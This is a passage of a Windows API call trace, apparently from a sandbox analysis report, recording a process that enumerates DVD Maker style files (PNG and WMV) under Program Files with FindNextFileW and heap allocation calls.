(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9201e8 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933120 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920208 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933228 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.326] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0245.326] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.326] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920228 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933330 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xd40) returned 0x9349d8 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927508) returned 1 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920248 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933438 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.327] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920268 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933540 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920288 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933648 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927520 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933750 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.328] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.328] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927540 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933858 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927560 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933960 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927580 [0245.329] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933a68 [0245.329] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9275a0 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933b70 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9275c0 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933c78 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.330] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9275e0 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933d80 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927600 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933e88 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x927620 [0245.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x933f90 [0245.331] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.331] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0245.331] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0245.332] GetLastError () returned 0x12 [0245.332] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.332] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0245.332] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, 